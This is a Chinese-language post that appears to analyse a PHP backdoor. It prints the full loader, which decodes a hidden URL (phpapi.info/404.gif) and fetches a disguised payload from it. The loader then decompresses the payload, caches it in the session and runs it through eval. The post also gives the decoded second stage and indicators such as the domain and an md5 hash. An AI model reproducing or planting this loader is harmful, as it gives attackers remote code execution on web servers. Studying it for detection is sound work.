|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
|
error_reporting(0);
session_start();
$c=”;
$useragent=‘Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)’;
$url=base64_decode(base64_decode(“YUhSMGNEb3ZMM0JvY0dGd2FTNXBibVp2THpRd05DNW5hV1k9Cg==”));
$urlNew=base64_decode(“LzBPbGlha1RIaXNQOGhwMGFkcGg5cGFwaTUrcjZlY2kwYTh5aWptZzlveGNwOWNrdmhmLw==”);
if(function_exists(‘fsockopen’)){
$link=parse_url($url);
$query=$link[‘path’];
$host=strtolower($link[‘host’]);
$fp=fsockopen($host,80,$errno,$errstr,10);
if($fp){
$out=“GET /{$query} HTTP/1.0\r\n”;
$out.=“Host: {$host}\r\n”;
$out.=“User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)\r\n”;
$out.=“Connection: Close\r\n\r\n”;
fwrite($fp,$out);
$contents=“”;
while(!feof($fp)){
$line=fgets($fp,4096);
$contents.=$line;
}
if($inheader&&($line==“\n”||$line==“\r\n”)){
$inheader=0;
}
}
fclose($fp);
$c=$contents;
}
}
if(!strpos($c,$urlNew)&&function_exists(‘curl_init’)&&function_exists(‘curl_exec’)){
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_TIMEOUT,15);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,TRUE);
curl_setopt($ch,CURLOPT_USERAGENT,$useragent);
$c=curl_exec($ch);
curl_close($ch);
}
if(!strpos($c,$urlNew)&&ini_get(‘allow_url_fopen’)){
$temps=@file($url);
if(!empty($temps))
$c=@implode(”,$temps);
if(!strpos($c,“delDirAndFile”))
$c=@file_get_contents($url);
}
if(strpos($c,$urlNew)!==false){
$c=str_replace($urlNew,“”,$c);
$_SESSION[“phpapi”]=gzinflate(base64_decode($c));
}
}
if(isset($_SESSION[“phpapi”])){
eval($_SESSION[“phpapi”]);
}
|
|
1
|
|
用于替换的urlNew为:
|
1
|
/0OliakTHisP8hp0adph9papi5+r6eci0a8yijmg9oxcp9ckvhf/
|
404.gif看起来是一个图标,但其实是代码。
将内容读出来之后,base64解码在用gz解压缩:

|
1
2
3
|
<?php
eval(file_get_contents(“/home/wwwroot/default/tmp.php”));
?>
|
整体的流程为:
|
1
2
3
4
5
|
domain:phpapi.info
url:/404.gif
md5:f1c4842de714e7480e69f41540c3626b
|
声明:本站(华域联盟www.cnhackhy.com)所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。





评论(0)